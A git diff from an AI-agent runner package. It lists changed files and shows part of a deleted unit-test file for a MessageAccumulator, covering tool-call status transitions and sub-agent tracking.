- package/src/interceptors/run-credential-activity.ts +67 -0
- package/src/middleware/__tests__/cost-advisory.test.ts +2 -2
- package/src/middleware/approval-gate.ts +7 -74
- package/src/middleware/cost-advisory.ts +3 -3
- package/src/middleware/index.ts +1 -1
- package/src/runner-manager.ts +14 -4
- package/src/shared/__tests__/approval-policy.test.ts +45 -0
- package/src/shared/__tests__/args-preview.test.ts +40 -20
- package/src/shared/__tests__/attachment-naming.test.ts +1 -1
- package/src/shared/__tests__/attachment-resolver.test.ts +5 -5
- package/src/shared/__tests__/attachment-zip.test.ts +1 -1
- package/src/shared/__tests__/blueprint-resolver.test.ts +1 -1
- package/src/shared/__tests__/channel-attachment.test.ts +12 -0
- package/src/shared/__tests__/cost-guard.test.ts +1 -1
- package/src/shared/__tests__/exact-apply.test.ts +2 -1
- package/src/shared/__tests__/memory-attachment.test.ts +17 -0
- package/src/shared/__tests__/persist-decision.test.ts +19 -33
- package/src/shared/__tests__/prompt-sections.test.ts +1 -1
- package/src/shared/__tests__/run-credential.test.ts +111 -0
- package/src/shared/__tests__/stamp-flowed-rows.test.ts +1 -1
- package/src/shared/__tests__/status-offload.test.ts +1 -1
- package/src/shared/__tests__/streaming-scheduler.test.ts +8 -9
- package/src/shared/__tests__/todos.test.ts +1 -1
- package/src/shared/__tests__/tool-row.test.ts +1 -1
- package/src/shared/activity-input.ts +21 -0
- package/src/shared/approval-policy.ts +95 -0
- package/src/shared/args-preview.ts +51 -42
- package/src/shared/attachment-resolver.ts +4 -4
- package/src/shared/attachment-zip.ts +2 -2
- package/src/shared/channel-attachment.ts +14 -6
- package/src/shared/cost-guard.ts +2 -2
- package/src/shared/exact-apply.ts +1 -1
- package/src/shared/execution-context.ts +2 -2
- package/src/shared/extract-structured-output.ts +2 -2
- package/src/shared/filereview/__tests__/capture.test.ts +9 -5
- package/src/shared/filereview/__tests__/git-substrate.test.ts +4 -1
- package/src/shared/filereview/__tests__/proxy-reconcile.test.ts +3 -3
- package/src/shared/filereview/cas-touched.ts +2 -2
- package/src/shared/filereview/progress.ts +13 -0
- package/src/shared/heartbeat.ts +1 -1
- package/src/shared/llm-backend.ts +0 -4
- package/src/shared/memory-attachment.ts +22 -10
- package/src/shared/model-error.ts +1 -2
- package/src/shared/persist-decision.ts +19 -28
- package/src/shared/prompt-sections.ts +4 -4
- package/src/shared/run-credential-store.ts +45 -0
- package/src/shared/run-credential.ts +70 -0
- package/src/shared/skill-resolver.ts +3 -3
- package/src/shared/status-offload.ts +2 -2
- package/src/shared/streaming-scheduler.ts +8 -13
- package/src/shared/subagent-rows.ts +2 -2
- package/src/shared/synthesized-attachment.ts +38 -3
- package/src/shared/todos.ts +3 -3
- package/src/shared/tool-row.ts +38 -2
- package/src/shared/worker-shutdown.ts +1 -1
- package/src/shared/workspace/__tests__/git-source.test.ts +3 -3
- package/src/shared/workspace/__tests__/provisioner.test.ts +5 -5
- package/src/shared/workspace/__tests__/session-provision.test.ts +2 -2
- package/src/shared/workspace/__tests__/writeback-coordinator.integration.test.ts +8 -9
- package/src/shared/workspace/__tests__/writeback-coordinator.test.ts +25 -25
- package/src/shared/workspace/provisioner.ts +1 -1
- package/src/shared/workspace/session-provision.ts +1 -1
- package/src/shared/workspace/sources/empty.ts +2 -2
- package/src/shared/workspace/sources/git.ts +3 -4
- package/src/shared/workspace/sources/local-path.ts +5 -6
- package/src/shared/workspace/stigmer-link.ts +1 -1
- package/src/shared/workspace/types.ts +2 -5
- package/src/shared/workspace/writeback-coordinator.ts +23 -12
- package/src/worker.ts +15 -3
- package/src/workflow-source.ts +15 -0
- package/src/workflows/__tests__/run-credential-interceptor.test.ts +178 -0
- package/src/workflows/execute-from-execution.ts +17 -0
- package/src/workflows/index.ts +5 -3
- package/src/workflows/interceptors/run-credential.ts +101 -0
- package/dist/activities/execute-cursor/delta-enricher.d.ts +0 -87
- package/dist/activities/execute-cursor/delta-enricher.js +0 -265
- package/dist/activities/execute-cursor/delta-enricher.js.map +0 -1
- package/dist/activities/execute-cursor/message-translator.js +0 -2040
- package/dist/activities/execute-cursor/message-translator.js.map +0 -1
- package/dist/activities/execute-cursor/todo-tracker.d.ts +0 -40
- package/dist/activities/execute-cursor/todo-tracker.js +0 -80
- package/dist/activities/execute-cursor/todo-tracker.js.map +0 -1
- package/dist/activities/execute-deep-agent/execution-state.d.ts +0 -54
- package/dist/activities/execute-deep-agent/execution-state.js +0 -68
- package/dist/activities/execute-deep-agent/execution-state.js.map +0 -1
- package/dist/activities/execute-deep-agent/status-builder-shared.d.ts +0 -65
- package/dist/activities/execute-deep-agent/status-builder-shared.js +0 -90
- package/dist/activities/execute-deep-agent/status-builder-shared.js.map +0 -1
- package/dist/activities/execute-deep-agent/subagent-tracker.d.ts +0 -113
- package/dist/activities/execute-deep-agent/subagent-tracker.js +0 -400
- package/dist/activities/execute-deep-agent/subagent-tracker.js.map +0 -1
- package/dist/activities/execute-deep-agent/v3-events.d.ts +0 -102
- package/dist/activities/execute-deep-agent/v3-events.js +0 -35
- package/dist/activities/execute-deep-agent/v3-events.js.map +0 -1
- package/dist/activities/execute-deep-agent/v3-protocol-normalizer.d.ts +0 -15
- package/dist/activities/execute-deep-agent/v3-protocol-normalizer.js +0 -235
- package/dist/activities/execute-deep-agent/v3-protocol-normalizer.js.map +0 -1
- package/dist/activities/execute-deep-agent/v3-status-builder.d.ts +0 -111
- package/dist/activities/execute-deep-agent/v3-status-builder.js +0 -457
- package/dist/activities/execute-deep-agent/v3-status-builder.js.map +0 -1
- package/dist/shared/execution-status-writer.d.ts +0 -31
- package/dist/shared/execution-status-writer.js +0 -43
- package/dist/shared/execution-status-writer.js.map +0 -1
- package/src/activities/execute-cursor/__tests__/delta-enricher.test.ts +0 -310
- package/src/activities/execute-cursor/__tests__/message-translator.test.ts +0 -1033
- package/src/activities/execute-cursor/__tests__/todo-tracker.test.ts +0 -498
- package/src/activities/execute-cursor/delta-enricher.ts +0 -307
- package/src/activities/execute-cursor/message-translator.ts +0 -2319
- package/src/activities/execute-cursor/todo-tracker.ts +0 -91
- package/src/activities/execute-deep-agent/__tests__/execution-state-extended.test.ts +0 -148
- package/src/activities/execute-deep-agent/__tests__/execution-state.test.ts +0 -154
- package/src/activities/execute-deep-agent/__tests__/status-builder-shared.test.ts +0 -47
- package/src/activities/execute-deep-agent/__tests__/v3-protocol-normalizer.test.ts +0 -324
- package/src/activities/execute-deep-agent/execution-state.ts +0 -78
- package/src/activities/execute-deep-agent/status-builder-shared.ts +0 -142
- package/src/activities/execute-deep-agent/subagent-tracker.ts +0 -479
- package/src/activities/execute-deep-agent/v3-events.ts +0 -153
- package/src/activities/execute-deep-agent/v3-protocol-normalizer.ts +0 -264
- package/src/activities/execute-deep-agent/v3-status-builder.ts +0 -565
- package/src/shared/execution-status-writer.ts +0 -56
|
@@ -1,1033 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @regression file-hitl-phase0 — pins file-edit HITL fix #3 (see _projects/2026-06/20260630.01.file-change-hitl-redesign/tasks/T01_3_regression-manifest.md)
|
|
3
|
-
*
|
|
4
|
-
* Unit tests for MessageAccumulator tool call status transitions.
|
|
5
|
-
*
|
|
6
|
-
* Validates the indexed tool call tracking that prevents the
|
|
7
|
-
* cross-message lookup bug (FM-1) where completion events for slow
|
|
8
|
-
* tools (especially MCP) would miss their target when interleaved
|
|
9
|
-
* assistant text created new AI messages.
|
|
10
|
-
*/
|
|
11
|
-
|
|
12
|
-
import { describe, it, expect } from "vitest";
|
|
13
|
-
import { create } from "@bufbuild/protobuf";
|
|
14
|
-
import {
|
|
15
|
-
AgentMessageSchema,
|
|
16
|
-
ToolCallSchema,
|
|
17
|
-
} from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/message_pb";
|
|
18
|
-
import type { AgentMessage } from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/message_pb";
|
|
19
|
-
import {
|
|
20
|
-
MessageType,
|
|
21
|
-
ToolCallStatus,
|
|
22
|
-
SubAgentStatus,
|
|
23
|
-
ToolKind,
|
|
24
|
-
} from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/enum_pb";
|
|
25
|
-
import type { SDKMessage } from "@cursor/sdk";
|
|
26
|
-
import {
|
|
27
|
-
MessageAccumulator,
|
|
28
|
-
extractConversationSteps,
|
|
29
|
-
} from "../message-translator.js";
|
|
30
|
-
|
|
31
|
-
function toolCallEvent(
|
|
32
|
-
callId: string,
|
|
33
|
-
name: string,
|
|
34
|
-
status: "running" | "completed" | "error",
|
|
35
|
-
runId = "run-1",
|
|
36
|
-
opts?: { result?: unknown; args?: unknown },
|
|
37
|
-
): Extract<SDKMessage, { type: "tool_call" }> {
|
|
38
|
-
return {
|
|
39
|
-
type: "tool_call",
|
|
40
|
-
agent_id: "agent-1",
|
|
41
|
-
run_id: runId,
|
|
42
|
-
call_id: callId,
|
|
43
|
-
name,
|
|
44
|
-
status,
|
|
45
|
-
result: opts?.result,
|
|
46
|
-
args: opts?.args,
|
|
47
|
-
};
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
function assistantEvent(
|
|
51
|
-
runId: string,
|
|
52
|
-
text: string,
|
|
53
|
-
): Extract<SDKMessage, { type: "assistant" }> {
|
|
54
|
-
return {
|
|
55
|
-
type: "assistant",
|
|
56
|
-
agent_id: "agent-1",
|
|
57
|
-
run_id: runId,
|
|
58
|
-
message: {
|
|
59
|
-
role: "assistant" as const,
|
|
60
|
-
content: [{ type: "text" as const, text }],
|
|
61
|
-
},
|
|
62
|
-
};
|
|
63
|
-
}
|
|
64
|
-
|
|
65
|
-
function thinkingEvent(
|
|
66
|
-
runId: string,
|
|
67
|
-
text: string,
|
|
68
|
-
): Extract<SDKMessage, { type: "thinking" }> {
|
|
69
|
-
return {
|
|
70
|
-
type: "thinking",
|
|
71
|
-
agent_id: "agent-1",
|
|
72
|
-
run_id: runId,
|
|
73
|
-
text,
|
|
74
|
-
};
|
|
75
|
-
}
|
|
76
|
-
|
|
77
|
-
function countToolCallsWithId(messages: AgentMessage[], callId: string): number {
|
|
78
|
-
let count = 0;
|
|
79
|
-
for (const msg of messages) {
|
|
80
|
-
for (const tc of msg.toolCalls) {
|
|
81
|
-
if (tc.id === callId) count++;
|
|
82
|
-
}
|
|
83
|
-
}
|
|
84
|
-
return count;
|
|
85
|
-
}
|
|
86
|
-
|
|
87
|
-
function findToolCallById(messages: AgentMessage[], callId: string) {
|
|
88
|
-
for (const msg of messages) {
|
|
89
|
-
for (const tc of msg.toolCalls) {
|
|
90
|
-
if (tc.id === callId) return tc;
|
|
91
|
-
}
|
|
92
|
-
}
|
|
93
|
-
return undefined;
|
|
94
|
-
}
|
|
95
|
-
|
|
96
|
-
describe("MessageAccumulator tool call status transitions", () => {
|
|
97
|
-
it("same-message completion: tool call status transitions on the same AI message", () => {
|
|
98
|
-
const messages: AgentMessage[] = [];
|
|
99
|
-
const acc = new MessageAccumulator(messages);
|
|
100
|
-
|
|
101
|
-
acc.processEvent(assistantEvent("r1", "Let me run a query."));
|
|
102
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "running"));
|
|
103
|
-
acc.processEvent(toolCallEvent("tc-1", "Shell", "completed", "run-1", { result: "OK" }));
|
|
104
|
-
|
|
105
|
-
expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
|
|
106
|
-
|
|
107
|
-
const tc = findToolCallById(messages, "tc-1")!;
|
|
108
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
109
|
-
expect(tc.result).toBe("OK");
|
|
110
|
-
expect(tc.completedAt).toBeTruthy();
|
|
111
|
-
});
|
|
112
|
-
|
|
113
|
-
it("persists the Cursor shell {status,value} envelope verbatim on ToolCall.result", () => {
|
|
114
|
-
// The Cursor SDK's built-in Shell tool returns a structured envelope object;
|
|
115
|
-
// the runner stores it as a JSON string (toResultString → JSON.stringify),
|
|
116
|
-
// and the SDK view layer (normalizeShell) unwraps it for display. This locks
|
|
117
|
-
// the persisted shape so the cross-language fixture (result-views.json's
|
|
118
|
-
// cursor_shell_envelope) is grounded in what the runner actually writes,
|
|
119
|
-
// not a guess — the two halves of the bug fix stay in sync.
|
|
120
|
-
const messages: AgentMessage[] = [];
|
|
121
|
-
const acc = new MessageAccumulator(messages);
|
|
122
|
-
|
|
123
|
-
const envelope = {
|
|
124
|
-
status: "success",
|
|
125
|
-
value: {
|
|
126
|
-
exitCode: 0,
|
|
127
|
-
signal: "",
|
|
128
|
-
stdout: "total 8\n",
|
|
129
|
-
stderr: "",
|
|
130
|
-
executionTime: 1176,
|
|
131
|
-
},
|
|
132
|
-
};
|
|
133
|
-
|
|
134
|
-
acc.processEvent(assistantEvent("r1", "Running ls."));
|
|
135
|
-
acc.processEvent(toolCallEvent("tc-shell", "Shell", "running"));
|
|
136
|
-
acc.processEvent(
|
|
137
|
-
toolCallEvent("tc-shell", "Shell", "completed", "run-1", { result: envelope }),
|
|
138
|
-
);
|
|
139
|
-
|
|
140
|
-
const tc = findToolCallById(messages, "tc-shell")!;
|
|
141
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
142
|
-
expect(tc.result).toBe(JSON.stringify(envelope));
|
|
143
|
-
// Round-trips to the original structure (the SDK normalizer reads .value).
|
|
144
|
-
expect(JSON.parse(tc.result)).toEqual(envelope);
|
|
145
|
-
});
|
|
146
|
-
|
|
147
|
-
it("cross-message completion: tool call completes after new AI message is created", () => {
|
|
148
|
-
const messages: AgentMessage[] = [];
|
|
149
|
-
const acc = new MessageAccumulator(messages);
|
|
150
|
-
|
|
151
|
-
// AI message #1 with tool call
|
|
152
|
-
acc.processEvent(assistantEvent("r1", "Running query..."));
|
|
153
|
-
acc.processEvent(toolCallEvent("tc-1", "mcp", "running", "r1"));
|
|
154
|
-
|
|
155
|
-
// New AI message #2 (different run_id)
|
|
156
|
-
acc.processEvent(assistantEvent("r2", "Let me also check another thing."));
|
|
157
|
-
|
|
158
|
-
// Tool call completes — must update the original on msg #1, not create duplicate on #2
|
|
159
|
-
acc.processEvent(toolCallEvent("tc-1", "mcp", "completed", "r1", { result: "query result" }));
|
|
160
|
-
|
|
161
|
-
expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
|
|
162
|
-
|
|
163
|
-
const tc = findToolCallById(messages, "tc-1")!;
|
|
164
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
165
|
-
expect(tc.result).toBe("query result");
|
|
166
|
-
});
|
|
167
|
-
|
|
168
|
-
it("multiple concurrent tools with interleaved text: both complete correctly", () => {
|
|
169
|
-
const messages: AgentMessage[] = [];
|
|
170
|
-
const acc = new MessageAccumulator(messages);
|
|
171
|
-
|
|
172
|
-
acc.processEvent(assistantEvent("r1", "Running two queries."));
|
|
173
|
-
acc.processEvent(toolCallEvent("tc-1", "mcp", "running", "r1"));
|
|
174
|
-
acc.processEvent(toolCallEvent("tc-2", "mcp", "running", "r1"));
|
|
175
|
-
|
|
176
|
-
// Interleaved assistant text creates a new AI message
|
|
177
|
-
acc.processEvent(assistantEvent("r2", "While those run, let me think..."));
|
|
178
|
-
|
|
179
|
-
// Both complete after the new AI message
|
|
180
|
-
acc.processEvent(toolCallEvent("tc-1", "mcp", "completed", "r1", { result: "result-1" }));
|
|
181
|
-
acc.processEvent(toolCallEvent("tc-2", "mcp", "completed", "r1", { result: "result-2" }));
|
|
182
|
-
|
|
183
|
-
expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
|
|
184
|
-
expect(countToolCallsWithId(messages, "tc-2")).toBe(1);
|
|
185
|
-
|
|
186
|
-
const tc1 = findToolCallById(messages, "tc-1")!;
|
|
187
|
-
const tc2 = findToolCallById(messages, "tc-2")!;
|
|
188
|
-
expect(tc1.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
189
|
-
expect(tc2.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
190
|
-
expect(tc1.result).toBe("result-1");
|
|
191
|
-
expect(tc2.result).toBe("result-2");
|
|
192
|
-
});
|
|
193
|
-
|
|
194
|
-
it("MCP tool with many interleaved assistant messages", () => {
|
|
195
|
-
const messages: AgentMessage[] = [];
|
|
196
|
-
const acc = new MessageAccumulator(messages);
|
|
197
|
-
|
|
198
|
-
acc.processEvent(assistantEvent("r1", "Starting SQL query."));
|
|
199
|
-
acc.processEvent(toolCallEvent("tc-1", "mcp", "running", "r1", {
|
|
200
|
-
args: { providerIdentifier: "postgres", toolName: "execute_sql", args: { query: "SELECT 1" } },
|
|
201
|
-
}));
|
|
202
|
-
|
|
203
|
-
// Three interleaved assistant messages (simulating slow MCP tool)
|
|
204
|
-
acc.processEvent(assistantEvent("r2", "First update..."));
|
|
205
|
-
acc.processEvent(assistantEvent("r3", "Second update..."));
|
|
206
|
-
acc.processEvent(assistantEvent("r4", "Third update..."));
|
|
207
|
-
|
|
208
|
-
// Tool finally completes
|
|
209
|
-
acc.processEvent(toolCallEvent("tc-1", "mcp", "completed", "r1", { result: "rows: 1" }));
|
|
210
|
-
|
|
211
|
-
expect(countToolCallsWithId(messages, "tc-1")).toBe(1);
|
|
212
|
-
const tc = findToolCallById(messages, "tc-1")!;
|
|
213
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
214
|
-
});
|
|
215
|
-
|
|
216
|
-
it("unknown call_id on completion: creates new tool call gracefully", () => {
|
|
217
|
-
const messages: AgentMessage[] = [];
|
|
218
|
-
const acc = new MessageAccumulator(messages);
|
|
219
|
-
|
|
220
|
-
acc.processEvent(assistantEvent("r1", "Some context."));
|
|
221
|
-
|
|
222
|
-
// Completion event without a preceding running event
|
|
223
|
-
acc.processEvent(toolCallEvent("tc-orphan", "Shell", "completed", "r1", { result: "done" }));
|
|
224
|
-
|
|
225
|
-
const tc = findToolCallById(messages, "tc-orphan")!;
|
|
226
|
-
expect(tc).toBeDefined();
|
|
227
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_COMPLETED);
|
|
228
|
-
});
|
|
229
|
-
|
|
230
|
-
it("HITL denied tool: status transitions to FAILED", () => {
|
|
231
|
-
const messages: AgentMessage[] = [];
|
|
232
|
-
const acc = new MessageAccumulator(messages);
|
|
233
|
-
|
|
234
|
-
acc.processEvent(assistantEvent("r1", "About to run a dangerous tool."));
|
|
235
|
-
acc.processEvent(toolCallEvent("tc-1", "mcp", "running", "r1"));
|
|
236
|
-
acc.processEvent(toolCallEvent("tc-1", "mcp", "error", "r1", { result: "Tool denied by hook" }));
|
|
237
|
-
|
|
238
|
-
const tc = findToolCallById(messages, "tc-1")!;
|
|
239
|
-
expect(tc.status).toBe(ToolCallStatus.TOOL_CALL_FAILED);
|
|
240
|
-
expect(tc.error).toBe("Tool denied by hook");
|
|
241
|
-
});
|
|
242
|
-
|
|
243
|
-
it("finalize clears isStreaming on active AI messages", () => {
|
|
244
|
-
const messages: AgentMessage[] = [];
|
|
245
|
-
const acc = new MessageAccumulator(messages);
|
|
246
|
-
|
|
247
|
-
acc.processEvent(assistantEvent("r1", "Streaming text..."));
|
|
248
|
-
|
|
249
|
-
const aiMsg = messages.find(m => m.type === MessageType.MESSAGE_AI);
|
|
250
|
-
expect(aiMsg?.isStreaming).toBe(true);
|
|
251
|
-
|
|
252
|
-
acc.finalize();
|
|
253
|
-
expect(aiMsg?.isStreaming).toBe(false);
|
|
254
|
-
});
|
|
255
|
-
|
|
256
|
-
it("sub-agent tool calls are tracked via trackSubAgentExecution", () => {
|
|
257
|
-
const messages: AgentMessage[] = [];
|
|
258
|
-
const acc = new MessageAccumulator(messages);
|
|
259
|
-
|
|
260
|
-
acc.processEvent(assistantEvent("r1", "Delegating to sub-agent."));
|
|
261
|
-
|
|
262
|
-
const runningEvent = toolCallEvent("tc-sub", "task", "running", "r1", {
|
|
263
|
-
args: { subagentType: "generalPurpose", description: "Analyze data", prompt: "Do the thing" },
|
|
264
|
-
});
|
|
265
|
-
acc.processEvent(runningEvent);
|
|
266
|
-
acc.trackSubAgentExecution(runningEvent);
|
|
267
|
-
|
|
268
|
-
const completedEvent = toolCallEvent("tc-sub", "task", "completed", "r1", { result: "Done" });
|
|
269
|
-
acc.processEvent(completedEvent);
|
|
270
|
-
acc.trackSubAgentExecution(completedEvent);
|
|
271
|
-
|
|
272
|
-
expect(acc.subAgentExecutions).toHaveLength(1);
|
|
273
|
-
expect(acc.subAgentExecutions[0].id).toBe("tc-sub");
|
|
274
|
-
expect(acc.subAgentExecutions[0].output).toBe("Done");
|
|
275
|
-
});
|
|
276
|
-
|
|
277
|
-
it("sub-agent is IN_PROGRESS on the task running event (live-visibility precondition)", () => {
|
|
278
|
-
const acc = new MessageAccumulator([]);
|
|
279
|
-
|
|
280
|
-
const runningEvent = toolCallEvent("tc-live", "task", "running", "r1", {
|
|
281
|
-
args: { description: "Research topic", prompt: "Go" },
|
|
282
|
-
});
|
|
283
|
-
const sub = acc.trackSubAgentExecution(runningEvent);
|
|
284
|
-
|
|
285
|
-
expect(sub).toBeDefined();
|
|
286
|
-
expect(sub!.status).toBe(SubAgentStatus.SUB_AGENT_IN_PROGRESS);
|
|
287
|
-
expect(acc.subAgentExecutions[0].status).toBe(SubAgentStatus.SUB_AGENT_IN_PROGRESS);
|
|
288
|
-
});
|
|
289
|
-
|
|
290
|
-
it("isDirty starts false and is set when a sub-agent is created", () => {
|
|
291
|
-
const acc = new MessageAccumulator([]);
|
|
292
|
-
expect(acc.isDirty).toBe(false);
|
|
293
|
-
|
|
294
|
-
acc.trackSubAgentExecution(
|
|
295
|
-
toolCallEvent("tc-dirty1", "task", "running", "r1", {
|
|
296
|
-
args: { description: "Research", prompt: "Go" },
|
|
297
|
-
}),
|
|
298
|
-
);
|
|
299
|
-
|
|
300
|
-
expect(acc.isDirty).toBe(true);
|
|
301
|
-
});
|
|
302
|
-
|
|
303
|
-
it("markPersisted clears the dirty flag, and a sub-agent update re-marks it", () => {
|
|
304
|
-
const acc = new MessageAccumulator([]);
|
|
305
|
-
|
|
306
|
-
acc.trackSubAgentExecution(
|
|
307
|
-
toolCallEvent("tc-dirty2", "task", "running", "r1", {
|
|
308
|
-
args: { description: "Research", prompt: "Go" },
|
|
309
|
-
}),
|
|
310
|
-
);
|
|
311
|
-
expect(acc.isDirty).toBe(true);
|
|
312
|
-
|
|
313
|
-
acc.markPersisted();
|
|
314
|
-
expect(acc.isDirty).toBe(false);
|
|
315
|
-
|
|
316
|
-
// The completion transition (IN_PROGRESS -> COMPLETED) must re-mark dirty
|
|
317
|
-
// so the terminal sub-agent state is persisted to the live stream.
|
|
318
|
-
acc.trackSubAgentExecution(
|
|
319
|
-
toolCallEvent("tc-dirty2", "task", "completed", "r1", { result: "Done" }),
|
|
320
|
-
);
|
|
321
|
-
expect(acc.isDirty).toBe(true);
|
|
322
|
-
expect(acc.subAgentExecutions[0].status).toBe(SubAgentStatus.SUB_AGENT_COMPLETED);
|
|
323
|
-
});
|
|
324
|
-
|
|
325
|
-
it("cancelInProgressSubAgents transitions IN_PROGRESS to CANCELLED and leaves terminal states untouched", () => {
|
|
326
|
-
const acc = new MessageAccumulator([]);
|
|
327
|
-
|
|
328
|
-
// Running sub-agent (should be cancelled).
|
|
329
|
-
acc.trackSubAgentExecution(
|
|
330
|
-
toolCallEvent("tc-run", "task", "running", "r1", {
|
|
331
|
-
args: { description: "Long report", prompt: "Go" },
|
|
332
|
-
}),
|
|
333
|
-
);
|
|
334
|
-
// Completed sub-agent (must stay COMPLETED).
|
|
335
|
-
acc.trackSubAgentExecution(
|
|
336
|
-
toolCallEvent("tc-done", "task", "running", "r1", {
|
|
337
|
-
args: { description: "Quick lookup", prompt: "Go" },
|
|
338
|
-
}),
|
|
339
|
-
);
|
|
340
|
-
acc.trackSubAgentExecution(
|
|
341
|
-
toolCallEvent("tc-done", "task", "completed", "r1", { result: "Found it" }),
|
|
342
|
-
);
|
|
343
|
-
|
|
344
|
-
acc.markPersisted();
|
|
345
|
-
expect(acc.isDirty).toBe(false);
|
|
346
|
-
|
|
347
|
-
acc.cancelInProgressSubAgents();
|
|
348
|
-
|
|
349
|
-
const running = acc.subAgentExecutions.find((s) => s.id === "tc-run")!;
|
|
350
|
-
const done = acc.subAgentExecutions.find((s) => s.id === "tc-done")!;
|
|
351
|
-
|
|
352
|
-
expect(running.status).toBe(SubAgentStatus.SUB_AGENT_CANCELLED);
|
|
353
|
-
expect(running.completedAt).not.toBe("");
|
|
354
|
-
expect(done.status).toBe(SubAgentStatus.SUB_AGENT_COMPLETED);
|
|
355
|
-
// The transition must mark dirty so the cancellation is persisted.
|
|
356
|
-
expect(acc.isDirty).toBe(true);
|
|
357
|
-
});
|
|
358
|
-
|
|
359
|
-
it("cancelInProgressSubAgents is a no-op when there are no running sub-agents", () => {
|
|
360
|
-
const acc = new MessageAccumulator([]);
|
|
361
|
-
acc.cancelInProgressSubAgents();
|
|
362
|
-
expect(acc.subAgentExecutions).toHaveLength(0);
|
|
363
|
-
expect(acc.isDirty).toBe(false);
|
|
364
|
-
});
|
|
365
|
-
|
|
366
|
-
it("sub-agent name extraction handles object subagentType", () => {
|
|
367
|
-
const messages: AgentMessage[] = [];
|
|
368
|
-
const acc = new MessageAccumulator(messages);
|
|
369
|
-
|
|
370
|
-
const event = toolCallEvent("tc-sub2", "task", "running", "r1", {
|
|
371
|
-
args: { subagentType: { kind: "generalPurpose", name: "researcher" }, description: "Research", prompt: "Go" },
|
|
372
|
-
});
|
|
373
|
-
acc.processEvent(event);
|
|
374
|
-
const sub = acc.trackSubAgentExecution(event);
|
|
375
|
-
|
|
376
|
-
expect(sub).toBeDefined();
|
|
377
|
-
expect(sub!.name).toBe("researcher");
|
|
378
|
-
});
|
|
379
|
-
|
|
380
|
-
it("sub-agent name extraction falls back to kind when name is absent", () => {
|
|
381
|
-
const messages: AgentMessage[] = [];
|
|
382
|
-
const acc = new MessageAccumulator(messages);
|
|
383
|
-
|
|
384
|
-
const event = toolCallEvent("tc-sub3", "task", "running", "r1", {
|
|
385
|
-
args: { subagentType: { kind: "explore" }, description: "Explore", prompt: "Go" },
|
|
386
|
-
});
|
|
387
|
-
acc.processEvent(event);
|
|
388
|
-
const sub = acc.trackSubAgentExecution(event);
|
|
389
|
-
|
|
390
|
-
expect(sub).toBeDefined();
|
|
391
|
-
expect(sub!.name).toBe("explore");
|
|
392
|
-
});
|
|
393
|
-
|
|
394
|
-
it("sub-agent name extraction falls back to description when kind is 'unspecified'", () => {
|
|
395
|
-
const messages: AgentMessage[] = [];
|
|
396
|
-
const acc = new MessageAccumulator(messages);
|
|
397
|
-
|
|
398
|
-
const event = toolCallEvent("tc-sub4", "task", "running", "r1", {
|
|
399
|
-
args: { subagentType: { kind: "unspecified" }, description: "Research renewable energy", prompt: "Go" },
|
|
400
|
-
});
|
|
401
|
-
acc.processEvent(event);
|
|
402
|
-
const sub = acc.trackSubAgentExecution(event);
|
|
403
|
-
|
|
404
|
-
expect(sub).toBeDefined();
|
|
405
|
-
expect(sub!.name).toBe("Research renewable energy");
|
|
406
|
-
});
|
|
407
|
-
|
|
408
|
-
it("sub-agent name extraction falls back to description when subagentType is missing", () => {
|
|
409
|
-
const messages: AgentMessage[] = [];
|
|
410
|
-
const acc = new MessageAccumulator(messages);
|
|
411
|
-
|
|
412
|
-
const event = toolCallEvent("tc-sub5", "task", "running", "r1", {
|
|
413
|
-
args: { description: "Analyze codebase", prompt: "Go" },
|
|
414
|
-
});
|
|
415
|
-
acc.processEvent(event);
|
|
416
|
-
const sub = acc.trackSubAgentExecution(event);
|
|
417
|
-
|
|
418
|
-
expect(sub).toBeDefined();
|
|
419
|
-
expect(sub!.name).toBe("Analyze codebase");
|
|
420
|
-
});
|
|
421
|
-
|
|
422
|
-
it("sub-agent extracts conversationSteps from task completed result", () => {
|
|
423
|
-
const messages: AgentMessage[] = [];
|
|
424
|
-
const acc = new MessageAccumulator(messages);
|
|
425
|
-
|
|
426
|
-
const runningEvent = toolCallEvent("tc-sub6", "task", "running", "r1", {
|
|
427
|
-
args: { subagentType: { kind: "unspecified" }, description: "Research topic", prompt: "Summarize AI" },
|
|
428
|
-
});
|
|
429
|
-
acc.processEvent(runningEvent);
|
|
430
|
-
acc.trackSubAgentExecution(runningEvent);
|
|
431
|
-
|
|
432
|
-
const completedEvent = toolCallEvent("tc-sub6", "task", "completed", "r1", {
|
|
433
|
-
result: {
|
|
434
|
-
status: "success",
|
|
435
|
-
value: {
|
|
436
|
-
conversationSteps: [
|
|
437
|
-
{ type: "thinkingMessage", message: { text: "Let me think about this..." } },
|
|
438
|
-
{ type: "assistantMessage", message: { text: "Here is a summary of AI." } },
|
|
439
|
-
],
|
|
440
|
-
agentId: "sub-agent-123",
|
|
441
|
-
durationMs: 5000,
|
|
442
|
-
isBackground: false,
|
|
443
|
-
backgroundReason: "unspecified",
|
|
444
|
-
},
|
|
445
|
-
},
|
|
446
|
-
});
|
|
447
|
-
acc.processEvent(completedEvent);
|
|
448
|
-
acc.trackSubAgentExecution(completedEvent);
|
|
449
|
-
|
|
450
|
-
const sub = acc.subAgentExecutions[0];
|
|
451
|
-
expect(sub.status).toBe(SubAgentStatus.SUB_AGENT_COMPLETED);
|
|
452
|
-
expect(sub.messages).toHaveLength(2);
|
|
453
|
-
expect(sub.messages[0].type).toBe(MessageType.MESSAGE_THINKING);
|
|
454
|
-
expect(sub.messages[0].content).toBe("Let me think about this...");
|
|
455
|
-
expect(sub.messages[1].type).toBe(MessageType.MESSAGE_AI);
|
|
456
|
-
expect(sub.messages[1].content).toBe("Here is a summary of AI.");
|
|
457
|
-
});
|
|
458
|
-
|
|
459
|
-
